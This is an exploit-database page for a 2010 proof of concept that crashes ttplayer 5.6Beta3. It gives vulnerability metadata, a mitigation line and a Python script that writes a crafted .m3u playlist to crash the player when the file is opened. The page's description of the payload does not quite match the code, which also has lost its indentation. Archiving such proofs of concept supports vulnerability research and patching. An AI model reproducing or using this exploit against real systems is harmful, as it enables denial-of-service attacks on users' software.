header-logo
Suggest Exploit
vendor:
ttplayer
by:
t-bag YDteam
7,5
CVSS
HIGH
Denial of Service (DoS)
400
CWE
Product Name: ttplayer
Affected Version From: 5.6Beta3
Affected Version To: 5.6Beta3
Patch Exists: YES
Related CWE: N/A
CPE: ttplayer
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7, Windows 2003
2010

ttplayer=5.6Beta3 Dos POC

This exploit is a proof of concept for a denial of service vulnerability in ttplayer version 5.6Beta3. The exploit creates a malicious .m3u file containing a string of 81 'x41' characters followed by 'QQ1.'. When the file is opened in ttplayer, the application crashes.

Mitigation:

Users should update to the latest version of ttplayer to ensure they are not vulnerable to this exploit.
Source

Exploit-DB raw data:

# Exploit Title: ttplayer=5.6Beta3 Dos POC
# Date: 2010-01-06
# Author: t-bag YDteam.
# Software Link: http://ttplayer.qianqian.com
# Version: 5.6Beta3
# Tested on: win7 and win2003

# Code :
#!/usr/bin/python
#f# t-bag
crash = ("#ETM3U\n"+'QQ\\1.'+"x41" * 81)
try:
file = open('1.m3u','w');
file.write(crash);
file.close();
print "[+] Created crash qianqian file ~"
except:
print "[-] Error :(";

Navigation

Suggest Exploit

Services By CQR